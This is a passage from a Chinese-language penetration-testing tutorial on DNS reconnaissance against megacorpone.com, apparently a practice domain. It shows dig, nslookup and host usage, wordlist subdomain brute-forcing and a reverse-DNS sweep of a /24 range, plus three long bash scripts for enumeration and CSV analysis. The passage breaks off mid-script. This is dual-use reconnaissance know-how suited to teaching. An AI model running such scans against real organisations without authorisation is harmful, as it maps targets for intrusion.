记录（反向解析 93.184.216.34）：dig -x 93.184.216.34\n查询 SRV 记录（如 SIP TCP 服务）：dig _sip._tcp.example.com SRV nslookup：\n交互式命令行工具， 也支持非交互模式。功能不如 dig 强大，但更简单直观。\n基本语法（非交互）：\nnslookup [-type=record_type] [domain] [server] -type=record_type：指定记录类型（如 a, aaaa, mx, ns, txt, cname, soa, ptr）。 domain：要查询的域名或主机名。 server：可选，指定查询哪个 DNS 服务器。 交互模式： 直接输入\nnslookup ，然后按提示输入命令：\nserver 8.8.8.8：设置默认查询服务器。 set type=mx：设置查询的记录类型。 example.com：执行查询。 exit：退出。 查询示例：\n查询 example.com 的 A 记录：nslookup example.com\n查询 example.com 的 MX 记录：nslookup -type=mx example.com\n查询 example.com 的 TXT 记录：nslookup -type=txt example.com\n查询 PTR 记录：nslookup 93.184.216.34\nhost：\n简单易用的工具， 输出比 dig +short 稍详细一点，但不如 dig 完整。\n基本语法：\nhost [-t record_type] [domain] [server] └─$ host -v Usage: host [-aCdilrTvVw] [-c class] [-N ndots] [-t type] [-W time] [-R number] [-m flag] [-p port] hostname [server] -a is equivalent to -v -t ANY -A is like -a but omits RRSIG, NSEC, NSEC3 -c specifies query class for non-IN data -C compares SOA records on authoritative nameservers -d is equivalent to -v -l lists all hosts in a domain, using AXFR -m set memory debugging flag (trace|record|usage) -N changes the number of dots allowed before root lookup is done -p specifies the port on the server to query -r disables recursive processing -R specifies number of retries for UDP packets -s a SERVFAIL response should stop query -t specifies the query type -T enables TCP/IP mode -U enables UDP mode -v enables verbose output -V print version number and exit -w specifies to wait forever for a reply -W specifies how long to wait for a reply -4 use IPv4 query transport only -6 use IPv6 query transport only 用法：host [-aCdilrTvVw][-c 类别][-N 点数][-t 类型][-W 时间] [-R 次数][-m 标志][-p 端口]主机名 [服务器] -a 等同于 -v -t ANY -A 类似 -a 但不包含 RRSIG、NSEC、NSEC3 -c 指定非 IN 数据的查询类别 -C 比较权威名称服务器上的 SOA 记录 -d 等同于 -v -l 列出域中的所有主机，使用 AXFR -m 设置内存调试标志（跟踪记录|使用情况） N 更改在执行根查找前允许的点数 -p 指定要查询的服务器端口 -r 禁用递归处理 -R 指定 UDP 数据包的重试次数 -s SERVFAIL 响应应停止查询 -t 指定查询类型 -T 启用 TCP/IP 模式 -U 启用 UDP 模式 -v 启用详细输出 -V 打印版本号并退出 -w 指定无限期等待回复 -W 指定等待回复的时间 -4 仅使用 IPv4 查询传输 -6 仅使用 IPv6 查询传输 -t record_type：指定记录类型（如 a, aaaa, mx, ns, txt, cname, soa, ptr）。 domain：要查询的域名或主机名。 server：可选，指定查询哪个 DNS 服务器。 查询示例：\n查询 example.com 的 A 记录：host example.com 查询 example.com 的 MX 记录：host -t mx example.com 查询 example.com 的 TXT 记录：host -t txt example.com 查询 PTR 记录：host 93.184.216.34 1host www.megacorpone.com 2host -t mx megacorpone.com 3host -t txt megacorpone.com 4host -t ns megacorpone.com 5host -C megacorpone.com # 比较所有权威DNS服务器的 SOA 序列号 反查IP对应的域名\n总结：\ndig 是专业首选，信息最全，功能最强。 nslookup 交互模式适合简单探索。 host 适合快速获取简洁结果。 当然，DNS查询也可以通过一些在线网站查询。\n正向子域名爆破 写一个列表，用循环来实现爆破\n1cat \u0026gt; list.txt 2www 3ftp 4mail 5owa 6proxy 7router 8# 回车后按ctrl D 结束保存 9for ip in $(cat list.txt); do host $ip.megacorpone.com; done 使用AI帮助我们改进一下这个命令就是：\n1while IFS= read -r subdomain; do 2 host \u0026#34;$subdomain.megacorpone.com\u0026#34; 2\u0026gt;\u0026amp;1 | grep -v -e \u0026#39;not found\u0026#39; -e \u0026#39;^$\u0026#39; 3done \u0026lt; list.txt 如果只想要IP就是\n1while IFS= read -r subdomain; do 2 host -t A \u0026#34;$subdomain.megacorpone.com\u0026#34; 2\u0026gt;/dev/null | awk \u0026#39;/has address/ {print $4}\u0026#39; 3done \u0026lt; list.txt 想要更全的子域名大字典可以用\n1sudo apt install seclists 安装后在 /usr/share/seclists目录下找到更多子域名列表来爆破，在Github上也能找到更多更强大的字典来爆破，日常渗透过程中也可以注意收集目标常用的信息来自制字典。\n字典越强大，扫的东西越多。\nSimilar Projects\nAssetnote Wordlists: High quality wordlists for content and subdomain discovery which are automatically updated every month. fuzz.txt: Wordlists of \u0026ldquo;potentially dangerous\u0026rdquo; files. FuzzDB: Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery. PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF BiblePass: Wordlists compiled from Bible verses SamLists: Data-driven wordlists containing HTTP parameter names, directory names and filenames. Wordlist Tools\nCook: A wordlist framework. An overpowered wordlist generator, splitter, merger, finder and saver. Cook facilitates the creation of permutations and combinations with a variety of encodings and many more features. Wl: CLI utility for converting strings to a given casing style. CeWL: Custom Word List generator. 用AI帮我们把工具加强一下。\n1#!/bin/bash 2 3# 脚本名称: subdomainfind.sh 4# 功能: 子域名枚举工具，支持原始输出、格式化表格和CSV导出 5# 用法: ./subdomainfind.sh 域名 [-w 字典文件] [-o 输出文件] 6 7# 错误处理函数 8die() { 9 echo \u0026#34;错误: $1\u0026#34; \u0026gt;\u0026amp;2 10 echo \u0026#34;用法: $0 域名 [-w 字典文件] [-o 输出文件]\u0026#34; 11 exit 1 12} 13 14# 检查参数 15if [ $# -eq 0 ]; then 16 die \u0026#34;缺少域名参数\u0026#34; 17fi 18 19DOMAIN=\u0026#34;$1\u0026#34; 20DEFAULT_WORDLIST=\u0026#34;/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\u0026#34; 21WORDLIST=\u0026#34;\u0026#34; 22OUTPUT_FILE=\u0026#34;\u0026#34; 23CSV_OUTPUT=\u0026#34;\u0026#34; 24 25# 处理参数 26shift 27while [ $# -gt 0 ]; do 28 case \u0026#34;$1\u0026#34; in 29 -w) 30 shift 31 WORDLIST=\u0026#34;$1\u0026#34; 32 if [ -z \u0026#34;$WORDLIST\u0026#34; ]; then 33 die \u0026#34;-w 需要指定字典文件\u0026#34; 34 fi 35 if [ ! -f \u0026#34;$WORDLIST\u0026#34; ]; then 36 die \u0026#34;字典文件不存在: $WORDLIST\u0026#34; 37 fi 38 ;; 39 -o) 40 shift 41 OUTPUT_FILE=\u0026#34;$1\u0026#34; 42 if [ -z \u0026#34;$OUTPUT_FILE\u0026#34; ]; then 43 die \u0026#34;-o 需要指定输出文件名\u0026#34; 44 fi 45 CSV_OUTPUT=\u0026#34;${OUTPUT_FILE%.csv}.csv\u0026#34; 46 ;; 47 *) 48 die \u0026#34;未知参数: $1\u0026#34; 49 ;; 50 esac 51 shift 52done 53 54# 设置默认字典 55if [ -z \u0026#34;$WORDLIST\u0026#34; ]; then 56 WORDLIST=\u0026#34;$DEFAULT_WORDLIST\u0026#34; 57 if [ ! -f \u0026#34;$DEFAULT_WORDLIST\u0026#34; ]; then 58 die \u0026#34;默认字典不存在: $DEFAULT_WORDLIST\u0026#34; 59 fi 60 echo \u0026#34;使用默认字典: $WORDLIST\u0026#34; 61fi 62 63# 设置默认输出文件 64if [ -z \u0026#34;$CSV_OUTPUT\u0026#34; ]; then 65 SAFE_DOMAIN=$(echo \u0026#34;$DOMAIN\u0026#34; | tr -cd \u0026#39;[:alnum:]._-\u0026#39;) 66 CSV_OUTPUT=\u0026#34;${SAFE_DOMAIN}.csv\u0026#34; 67fi 68 69# 创建临时文件存储结果 70RESULT_FILE=$(mktemp) 71 72# 获取字典行数 73TOTAL=$(wc -l \u0026lt; \u0026#34;$WORDLIST\u0026#34; 2\u0026gt;/dev/null || die \u0026#34;无法读取字典文件\u0026#34;) 74 75# 开始扫描 76echo \u0026#34;=============================\u0026#34; 77echo \u0026#34;开始子域名枚举扫描\u0026#34; 78echo \u0026#34;目标域名: $DOMAIN\u0026#34; 79echo \u0026#34;使用字典: $WORDLIST\u0026#34; 80echo \u0026#34;扫描数量: $TOTAL\u0026#34; 81echo \u0026#34;开始时间: $(date)\u0026#34; 82echo \u0026#34;CSV输出文件: $CSV_OUTPUT\u0026#34; 83echo \u0026#34;=============================\u0026#34; 84echo 85 86START_TIME=$(date +%s) 87COUNT=0 88FOUND=0 89 90# 初始化CSV文件 91echo \u0026#34;子域名,IP地址\u0026#34; \u0026gt; \u0026#34;$CSV_OUTPUT\u0026#34; 92 93# 主扫描循环 94while IFS= read -r subdomain; do 95 # 进度统计 96 ((COUNT++)) 97 98 # 计算时间和进度 99 CURRENT_TIME=$(date +%s) 100 ELAPSED_SEC=$((CURRENT_TIME - START_TIME)) 101 if [ $COUNT -gt 0 ]; then 102 AVG_TIME_PER_REC=$((ELAPSED_SEC / COUNT)) 103 REMAINING=$((TOTAL - COUNT)) 104 ESTIMATED_REMAINING_SEC=$((AVG_TIME_PER_REC * REMAINING)) 105 MINS_REMAINING=$((ESTIMATED_REMAINING_SEC / 60)) 106 SECS_REMAINING=$((ESTIMATED_REMAINING_SEC % 60)) 107 fi 108 109 # 计算进度百分比 110 PERCENT=$((COUNT * 100 / TOTAL)) 111 112 # 创建简洁的当前查询显示 (最多显示前20个字符) 113 current_query=\u0026#34;${subdomain}.$DOMAIN\u0026#34; 114 display_query=\u0026#34;${current_query:0:20}\u0026#34; 115 if [ ${#current_query} -gt 20 ]; then 116 display_query=\u0026#34;${display_query}...\u0026#34; 117 fi 118 119 # 创建进度条 120 bar=\u0026#34;\u0026#34; 121 for ((i=0; i\u0026lt;50; i++)); do 122 if [ $i -lt $((PERCENT / 2)) ]; then 123 bar=\u0026#34;${bar}#\u0026#34; 124 else 125 bar=\u0026#34;${bar}.\u0026#34; 126 fi 127 done 128 129 # 显示进度信息 130 printf \u0026#34;进度: [%-50s] %3d%% | %d/%d | 时间: %02d:%02d | ETA: %02d:%02d | 当前: %s\\r\u0026#34; \\ 131 \u0026#34;$bar\u0026#34; $PERCENT $COUNT $TOTAL \\ 132 $((ELAPSED_SEC / 60)) $((ELAPSED_SEC % 60)) \\ 133 $MINS_REMAINING $SECS_REMAINING \\ 134 \u0026#34;$display_query\u0026#34; 135 136 # 执行DNS查询 137 result=$(host -t A \u0026#34;${subdomain}.$DOMAIN\u0026#34; 2\u0026gt;/dev/null) 138 139 # 处理结果 140 if [[ \u0026#34;$result\u0026#34; == *\u0026#34;has address\u0026#34;* ]]; then 141 ((FOUND++)) 142 143 # 1. 输出原始格式结果 144 echo \u0026#34;$result\u0026#34; 145 146 # 2. 保存结果用于表格 147 echo \u0026#34;$result\u0026#34; | grep -oE \u0026#39;[^ ]+ has address [0-9.]+\u0026#39; \u0026gt;\u0026gt; \u0026#34;$RESULT_FILE\u0026#34; 148 149 # 3. 添加到CSV文件 150 echo \u0026#34;$result\u0026#34; | awk \u0026#39;/has address/ {print $1 \u0026#34;,\u0026#34; $4}\u0026#39; \u0026gt;\u0026gt; \u0026#34;$CSV_OUTPUT\u0026#34; 151 fi 152 153done \u0026lt; \u0026#34;$WORDLIST\u0026#34; 154 155# 清除进度行 156printf \u0026#34;\\n\\n\u0026#34; 157 158# 计算总耗时 159END_TIME=$(date +%s) 160TOTAL_TIME=$((END_TIME - START_TIME)) 161 162# 显示表格总结 163if [ -s \u0026#34;$RESULT_FILE\u0026#34; ]; then 164 echo \u0026#34;=============================\u0026#34; 165 echo \u0026#34;扫描结果汇总 (活动子域名)\u0026#34; 166 echo \u0026#34;=============================\u0026#34; 167 echo 168 169 # 确保表格对齐（包含标题长度） 170 max_sub_len=9 # \u0026#34;Subdomain\u0026#34; 标题长度 171 max_ip_len=10 # \u0026#34;IP Address\u0026#34; 标题长度 172 173 # 读取结果计算最大长度 174 while IFS= read -r line; do 175 subdomain=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $1}\u0026#39;) 176 ip=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $4}\u0026#39;) 177 178 # 处理超长字段 179 subdomain=${subdomain:0:60} 180 ip=${ip:0:15} 181 182 if [ ${#subdomain} -gt $max_sub_len ]; then 183 max_sub_len=${#subdomain} 184 fi 185 186 if [ ${#ip} -gt $max_ip_len ]; then 187 max_ip_len=${#ip} 188 fi 189 done \u0026lt; \u0026#34;$RESULT_FILE\u0026#34; 190 191 # 添加边距 192 max_sub_len=$((max_sub_len + 2)) 193 max_ip_len=$((max_ip_len + 2)) 194 if [ $max_sub_len -lt 20 ]; then max_sub_len=20; fi 195 if [ $max_ip_len -lt 15 ]; then max_ip_len=15; fi 196 197 # 创建表格顶部 198 printf \u0026#34;┌─%s─┬─%s─┐\\n\u0026#34; \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_sub_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; \\ 199 \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_ip_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; 200 201 # 表格标题 202 printf \u0026#34;│ %-${max_sub_len}s │ %-${max_ip_len}s │\\n\u0026#34; \u0026#34;Subdomain\u0026#34; \u0026#34;IP Address\u0026#34; 203 printf \u0026#34;├─%s─┼─%s─┤\\n\u0026#34; \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_sub_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; \\ 204 \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_ip_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; 205 206 # 表格内容 207 while IFS= read -r line; do 208 subdomain=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $1}\u0026#39;) 209 ip=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $4}\u0026#39;) 210 211 # 截断超长字段 212 subdomain=${subdomain:0:60} 213 ip=${ip:0:15} 214 215 printf \u0026#34;│ %-${max_sub_len}s │ %-${max_ip_len}s │\\n\u0026#34; \u0026#34;$subdomain\u0026#34; \u0026#34;$ip\u0026#34; 216 done \u0026lt; \u0026#34;$RESULT_FILE\u0026#34; 217 218 # 表格底部 219 printf \u0026#34;└─%s─┴─%s─┘\\n\u0026#34; \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_sub_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; \\ 220 \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_ip_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; 221 echo 222fi 223 224# 保存原始输出 225if [ -s \u0026#34;$RESULT_FILE\u0026#34; ]; then 226 LOG_FILE=\u0026#34;${CSV_OUTPUT%.csv}.log\u0026#34; 227 cp \u0026#34;$RESULT_FILE\u0026#34; \u0026#34;$LOG_FILE\u0026#34; 228else 229 LOG_FILE=\u0026#34;\u0026#34; 230fi 231 232# 输出统计信息 233echo \u0026#34;=============================\u0026#34; 234echo \u0026#34;扫描完成\u0026#34; 235echo \u0026#34;结束时间: $(date)\u0026#34; 236echo \u0026#34;总耗时: $((TOTAL_TIME / 60)) 分钟 $((TOTAL_TIME % 60)) 秒\u0026#34; 237echo \u0026#34;共扫描: $COUNT 个子域名\u0026#34; 238echo \u0026#34;发现: $FOUND 个活动子域名\u0026#34; 239if [ -n \u0026#34;$LOG_FILE\u0026#34; ]; then 240 echo \u0026#34;原始输出: $LOG_FILE\u0026#34; 241fi 242echo \u0026#34;CSV文件: $CSV_OUTPUT\u0026#34; 243echo \u0026#34;=============================\u0026#34; 244 245# 清理临时文件 246rm -f \u0026#34;$RESULT_FILE\u0026#34; 反向C段IP爆破 从之前的扫描结果看，这个域名大多数解析到167.114.21.x的C段IP地址，说明这个公司包揽了这个段上的大多数连续的服务器，用来承载业务，那么就有可能存在这个C段中，没有域名，或者说还没来得及挂上域名的测试站点，或者说一个公司某个部门、总部、第三方委托的服务器商之类的角色管理这些服务器，而megacorpone.com这个域名只是他们子公司域名之一，可能还存在其他域名，只要是存在业务关系的，他们的服务器之间一定会存在业务关联，这时候就需要IP反向搜索爆破新域名。\n1for Cip in $(seq 50 100); do host 167.114.21.$Cip; done | grep -v \u0026#34;not fou 2nd\u0026#34; 3for Cip in $(seq 0 254); do host 167.114.21.$Cip; done | grep -v \u0026#34;not fou 4nd\u0026#34; 同样的，我们用AI写一个小工具\n1#!/bin/bash 2 3# 脚本名称: reverse_dns_scan.sh 4# 功能: 反向DNS扫描工具，支持进度显示、格式化表格和CSV导出 5# 用法: ./reverse_dns_scan.sh 网络地址 起始IP 结束IP 6 7# 错误处理函数 8die() { 9 echo \u0026#34;错误: $1\u0026#34; \u0026gt;\u0026amp;2 10 echo \u0026#34;用法: $0 网络地址 起始IP 结束IP\u0026#34; 11 exit 1 12} 13 14# 检查参数 15if [ $# -ne 3 ]; then 16 die \u0026#34;需要三个参数：网络地址、起始IP和结束IP\u0026#34; 17fi 18 19NETWORK=\u0026#34;$1\u0026#34; 20START_IP=\u0026#34;$2\u0026#34; 21END_IP=\u0026#34;$3\u0026#34; 22 23# 验证IP范围 24if ! [[ \u0026#34;$START_IP\u0026#34; =~ ^[0-9]+$ ]] || ! [[ \u0026#34;$END_IP\u0026#34; =~ ^[0-9]+$ ]]; then 25 die \u0026#34;起始IP和结束IP必须是数字\u0026#34; 26fi 27 28if [ \u0026#34;$START_IP\u0026#34; -gt \u0026#34;$END_IP\u0026#34; ]; then 29 die \u0026#34;起始IP不能大于结束IP\u0026#34; 30fi 31 32# 设置输出文件 33SAFE_NETWORK=$(echo \u0026#34;$NETWORK\u0026#34; | tr -cd \u0026#39;[:alnum:]._-\u0026#39;) 34CSV_OUTPUT=\u0026#34;${SAFE_NETWORK}_${START_IP}-${END_IP}_reverse_dns.csv\u0026#34; 35 36# 创建临时文件存储结果 37RESULT_FILE=$(mktemp) 38 39# 计算总数 40TOTAL=$((END_IP - START_IP + 1)) 41 42# 开始扫描 43echo \u0026#34;=============================\u0026#34; 44echo \u0026#34;开始反向DNS扫描\u0026#34; 45echo \u0026#34;网络地址: $NETWORK\u0026#34; 46echo \u0026#34;IP范围: $START_IP - $END_IP\u0026#34; 47echo \u0026#34;扫描数量: $TOTAL\u0026#34; 48echo \u0026#34;开始时间: $(date)\u0026#34; 49echo \u0026#34;CSV输出文件: $CSV_OUTPUT\u0026#34; 50echo \u0026#34;=============================\u0026#34; 51echo 52 53START_TIME=$(date +%s) 54COUNT=0 55FOUND=0 56 57# 初始化CSV文件 58echo \u0026#34;IP地址,域名\u0026#34; \u0026gt; \u0026#34;$CSV_OUTPUT\u0026#34; 59 60# 主扫描循环 61for CIP in $(seq \u0026#34;$START_IP\u0026#34; \u0026#34;$END_IP\u0026#34;); do 62 IP=\u0026#34;${NETWORK}.${CIP}\u0026#34; 63 64 # 进度统计 65 ((COUNT++)) 66 67 # 计算时间和进度 68 CURRENT_TIME=$(date +%s) 69 ELAPSED_SEC=$((CURRENT_TIME - START_TIME)) 70 if [ $COUNT -gt 0 ]; then 71 AVG_TIME_PER_REC=$((ELAPSED_SEC / COUNT)) 72 REMAINING=$((TOTAL - COUNT)) 73 ESTIMATED_REMAINING_SEC=$((AVG_TIME_PER_REC * REMAINING)) 74 MINS_REMAINING=$((ESTIMATED_REMAINING_SEC / 60)) 75 SECS_REMAINING=$((ESTIMATED_REMAINING_SEC % 60)) 76 fi 77 78 # 计算进度百分比 79 PERCENT=$((COUNT * 100 / TOTAL)) 80 81 # 创建简洁的当前查询显示 82 display_query=\u0026#34;$IP\u0026#34; 83 if [ ${#IP} -gt 25 ]; then 84 display_query=\u0026#34;${IP:0:22}...\u0026#34; 85 fi 86 87 # 创建进度条 88 bar=\u0026#34;\u0026#34; 89 for ((i=0; i\u0026lt;50; i++)); do 90 if [ $i -lt $((PERCENT / 2)) ]; then 91 bar=\u0026#34;${bar}#\u0026#34; 92 else 93 bar=\u0026#34;${bar}.\u0026#34; 94 fi 95 done 96 97 # 显示进度信息 98 printf \u0026#34;进度: [%-50s] %3d%% | %d/%d | 时间: %02d:%02d | ETA: %02d:%02d | 当前: %s\\r\u0026#34; \\ 99 \u0026#34;$bar\u0026#34; $PERCENT $COUNT $TOTAL \\ 100 $((ELAPSED_SEC / 60)) $((ELAPSED_SEC % 60)) \\ 101 $MINS_REMAINING $SECS_REMAINING \\ 102 \u0026#34;$display_query\u0026#34; 103 104 # 执行反向DNS查询 105 result=$(host \u0026#34;$IP\u0026#34; 2\u0026gt;/dev/null) 106 107 # 处理结果 108 if [[ \u0026#34;$result\u0026#34; == *\u0026#34;domain name pointer\u0026#34;* ]]; then 109 ((FOUND++)) 110 111 # 提取域名 112 domain=$(echo \u0026#34;$result\u0026#34; | grep -oP \u0026#39;domain name pointer \\K[^.]+(\\.[^.]+)+\u0026#39; | head -1) 113 114 # 1. 输出原始格式结果 115 echo \u0026#34;$result\u0026#34; 116 117 # 2. 保存结果用于表格 118 echo \u0026#34;$IP,$domain\u0026#34; \u0026gt;\u0026gt; \u0026#34;$RESULT_FILE\u0026#34; 119 120 # 3. 添加到CSV文件 121 echo \u0026#34;$IP,$domain\u0026#34; \u0026gt;\u0026gt; \u0026#34;$CSV_OUTPUT\u0026#34; 122 fi 123done 124 125# 清除进度行 126printf \u0026#34;\\n\\n\u0026#34; 127 128# 计算总耗时 129END_TIME=$(date +%s) 130TOTAL_TIME=$((END_TIME - START_TIME)) 131 132# 显示表格总结 133if [ -s \u0026#34;$RESULT_FILE\u0026#34; ]; then 134 echo \u0026#34;=============================\u0026#34; 135 echo \u0026#34;扫描结果汇总 (反向DNS记录)\u0026#34; 136 echo \u0026#34;=============================\u0026#34; 137 echo 138 139 # 确保表格对齐 140 max_ip_len=15 # \u0026#34;IP地址\u0026#34; 标题长度 141 max_domain_len=20 # \u0026#34;域名\u0026#34; 标题长度 142 143 # 读取结果计算最大长度 144 while IFS=, read -r ip domain; do 145 if [ ${#ip} -gt $max_ip_len ]; then 146 max_ip_len=${#ip} 147 fi 148 149 if [ ${#domain} -gt $max_domain_len ]; then 150 max_domain_len=${#domain} 151 fi 152 done \u0026lt; \u0026#34;$RESULT_FILE\u0026#34; 153 154 # 添加边距 155 max_ip_len=$((max_ip_len + 2)) 156 max_domain_len=$((max_domain_len + 2)) 157 if [ $max_ip_len -lt 15 ]; then max_ip_len=15; fi 158 if [ $max_domain_len -lt 20 ]; then max_domain_len=20; fi 159 160 # 创建表格顶部 161 printf \u0026#34;┌─%s─┬─%s─┐\\n\u0026#34; \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_ip_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; \\ 162 \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_domain_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; 163 164 # 表格标题 165 printf \u0026#34;│ %-${max_ip_len}s │ %-${max_domain_len}s │\\n\u0026#34; \u0026#34;IP地址\u0026#34; \u0026#34;域名\u0026#34; 166 printf \u0026#34;├─%s─┼─%s─┤\\n\u0026#34; \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_ip_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; \\ 167 \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_domain_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; 168 169 # 表格内容 170 while IFS=, read -r ip domain; do 171 printf \u0026#34;│ %-${max_ip_len}s │ %-${max_domain_len}s │\\n\u0026#34; \u0026#34;$ip\u0026#34; \u0026#34;$domain\u0026#34; 172 done \u0026lt; \u0026#34;$RESULT_FILE\u0026#34; 173 174 # 表格底部 175 printf \u0026#34;└─%s─┴─%s─┘\\n\u0026#34; \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_ip_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; \\ 176 \u0026#34;$(printf \u0026#39;%*s\u0026#39; \u0026#34;$max_domain_len\u0026#34; \u0026#34;\u0026#34; | tr \u0026#39; \u0026#39; \u0026#39;-\u0026#39;)\u0026#34; 177 echo 178fi 179 180# 输出统计信息 181echo \u0026#34;=============================\u0026#34; 182echo \u0026#34;扫描完成\u0026#34; 183echo \u0026#34;结束时间: $(date)\u0026#34; 184echo \u0026#34;总耗时: $((TOTAL_TIME / 60)) 分钟 $((TOTAL_TIME % 60)) 秒\u0026#34; 185echo \u0026#34;共扫描: $COUNT 个IP地址\u0026#34; 186echo \u0026#34;发现: $FOUND 个反向DNS记录\u0026#34; 187echo \u0026#34;CSV文件: $CSV_OUTPUT\u0026#34; 188echo \u0026#34;=============================\u0026#34; 189 190# 清理临时文件 191rm -f \u0026#34;$RESULT_FILE\u0026#34; 对比可以发现，反向查找出来了一些正向用字典没又找到的子域名。\n用命令来辅助我们发现新域名，这些新域名，新IP中可能包含易于攻击的系统。\n1comm -13 \\ 2 \u0026lt;(awk -F, \u0026#39;NR\u0026gt;1{print $1}\u0026#39; megacorpone.com.csv | sort -u) \\ 3 \u0026lt;(awk -F, \u0026#39;NR\u0026gt;1 \u0026amp;\u0026amp; $2~/megacorpone\\.com$/{print $2}\u0026#39; 167.114.21_50-100_reverse_dns.csv | sort -u) \\ 4| xargs -I{} grep -i \u0026#34;,{}$\u0026#34; 167.114.21_50-100_reverse_dns.csv \\ 5| column -t -s, -N \u0026#34;IP地址,域名\u0026#34; 对两个CSV细致分析的还可以用下面这个脚本\n1#!/bin/bash 2# 脚本名称: dns_analyzer.sh 3# 功能: 智能分析DNS扫描CSV文件，支持子域名统计和反向DNS统计 4# 用法: ./dns_analyzer.sh 输入文件.csv 5 6# 错误处理 7die() { 8 echo \u0026#34;错误: $1\u0026#34; \u0026gt;\u0026amp;2 9 exit 1 10} 11 12# 检查参数 13if [ $# -ne 1 ]; then 14 die \u0026#34;用法: $0 输入文件.csv\u0026#34; 15fi 16 17INPUT_FILE=\u0026#34;$1\u0026#34; 18if [ ! -f \u0026#34;$INPUT_FILE\u0026#34; ]; then 19 die \u0026#34;文件不存在: $INPUT_FILE\u0026#34; 20fi 21 22# 检测文件类型 23if head -1 \u0026#34;$INPUT_FILE\u0026#34; | grep -qE \u0026#34;子域名,IP地址|subdomain,ip\u0026#34;; then 24 echo \u0026#34;检测到子域名扫描CSV文件\u0026#34; 25 FILE_TYPE=\u0026#34;subdomain\u0026#34; 26elif head -1 \u0026#34;$INPUT_FILE\u0026#34; | grep -qE \u0026#34;IP地址,域名|ip,domain\u0026#34;; then 27 echo \u0026#34;检测到反向DNS扫描CSV文件\u0026#34; 28 FILE_TYPE=\u0026#34;reverse\u0026#34; 29else 30 die \u0026#34;无法识别CSV文件类型 - 请确保文件包含正确的标题行\u0026#34; 31fi 32 33# 美观的域名列表输出函数 34pretty_print_domains() { 35 local domains=\u0026#34;$1\u0026#34; 36 local max_length=0 37 local count=0 38 39 # 将域名拆分为数组 40 IFS=\u0026#39;,\u0026#39; read -ra DOMAIN_ARRAY \u0026lt;\u0026lt;\u0026lt; \u0026#34;$domains\u0026#34; 41 count=${#DOMAIN_ARRAY[@]} 42 43 # 计算最大域名长度 44 for domain in \u0026#34;${DOMAIN_ARRAY[@]}\u0026#34;; do 45 domain=$(echo \u0026#34;$domain\u0026#34; | xargs) # 去除前后空格 46 len=${#domain} 47 if (( len \u0026gt; max_length )); then 48 max_length=$len 49 fi 50 done 51 52 # 计算列数和每列宽度 53 local columns=$(( $(tput cols) / (max_length + 4) )) 54 if (( columns \u0026lt; 1 )); then columns=1; fi 55 if (( columns \u0026gt; 6 )); then columns=6; fi 56 57 # 计算行数 58 local rows=$(( (count + columns - 1) / columns )) 59 60 # 格式化输出 61 echo 62 for (( i=0; i\u0026lt;rows; i++ )); do 63 printf \u0026#34; \u0026#34; 64 for (( j=0; j\u0026lt;columns; j++ )); do 65 idx=$(( i + j * rows )) 66 if (( idx \u0026lt; count )); then 67 domain=$(echo \u0026#34;${DOMAIN_ARRAY[$idx]}\u0026#34; | xargs) 68 printf \u0026#34;%-*s\u0026#34; $((max_length + 4)) \u0026#34;$domain\u0026#34; 69 fi 70 done 71 echo 72 done 73 echo 74} 75 76# 处理子域名文件 77process_subdomain() { 78 local file=\u0026#34;$1\u0026#34; 79 80 # 按IP排序 81 echo -e \u0026#34;\\n\\033[1;34m按IP地址排序:\\033[0m\u0026#34; 82 awk -F, \u0026#39;NR\u0026gt;1\u0026#39; \u0026#34;$file\u0026#34; | sort -t, -k2 | column -t -s, -N \u0026#34;子域名,IP地址\u0026#34; 83 84 # IP重复统计 85 echo -e \u0026#34;\\n\\033[1;34mIP地址重复统计:\\033[0m\u0026#34; 86 awk -F, \u0026#39;NR\u0026gt;1 {ip_count[$2]++} END { 87 for (ip in ip_count) { 88 printf \u0026#34;%d\\t%s\\n\u0026#34;, ip_count[ip], ip 89 } 90 }\u0026#39; \u0026#34;$file\u0026#34; | sort -nr | column -t -N \u0026#34;重复次数,IP地址\u0026#34; 91 92 # 重复最多的IP 93 echo -e \u0026#34;\\n\\033[1;34m重复最多的IP地址:\\033[0m\u0026#34; 94 awk -F, \u0026#39;NR\u0026gt;1 {ip_count[$2]++} END { 95 max_count = 0 96 for (ip in ip_count) { 97 if (ip_count[ip] \u0026gt; 